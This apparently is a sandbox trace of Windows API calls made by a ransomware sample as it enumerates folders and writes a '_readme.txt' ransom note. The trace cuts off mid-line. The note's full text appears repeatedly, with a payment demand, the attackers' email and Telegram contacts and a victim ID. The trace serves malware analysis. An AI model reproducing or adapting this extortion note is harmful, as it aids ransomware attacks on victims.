1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.311] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.311] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5bf8 | out: hHeap=0x670000) returned 1 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.312] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.312] PathFindFileNameW (pszPath="C:\\Boot\\ru-RU\\") returned="ru-RU\\" [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.312] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.312] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.312] PathFindFileNameW (pszPath="") returned="" [0059.312] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.312] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.313] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.313] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.313] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.313] PathAppendW (in: pszPath="C:\\Boot\\ru-RU\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 1 [0059.313] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.313] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.313] PathFileExistsW (pszPath="C:\\Boot\\ru-RU\\_readme.txt") returned 0 [0059.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7d00) returned 0x312a418 [0059.325] lstrcpyW (in: lpString1=0x312a418, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd" [0059.325] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkd", lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e" [0059.325] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c9340 [0059.325] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\_readme.txt" (normalized: "c:\\boot\\ru-ru\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0059.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x930) returned 0x3100c28 [0059.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x894) returned 0x3068dd8 [0059.326] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x3068dd8, cbMultiByte=2196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 1173 [0059.326] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3132120 [0059.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.326] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0059.326] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-WbgTMF1Jmw\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n111Asd3i74yih3gkdKRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 1172 [0059.326] WriteFile (in: hFile=0x5c0, lpBuffer=0x3132120*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x9aafb64, lpOverlapped=0x0 | out: lpBuffer=0x3132120*, lpNumberOfBytesWritten=0x9aafb64*=0x494, lpOverlapped=0x0) returned 1 [0059.327] CloseHandle (hObject=0x5c0) returned 1 [0059.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c9340 | out: hHeap=0x670000) returned 1 [0059.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.327] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.327] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.327] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.328] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.328] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.328] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.328] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13c6e8f0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13c6e8f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c6e8f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.328] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.328] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.328] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.328] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.329] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.329] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5950 | out: hHeap=0x670000) returned 1 [0059.330] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, 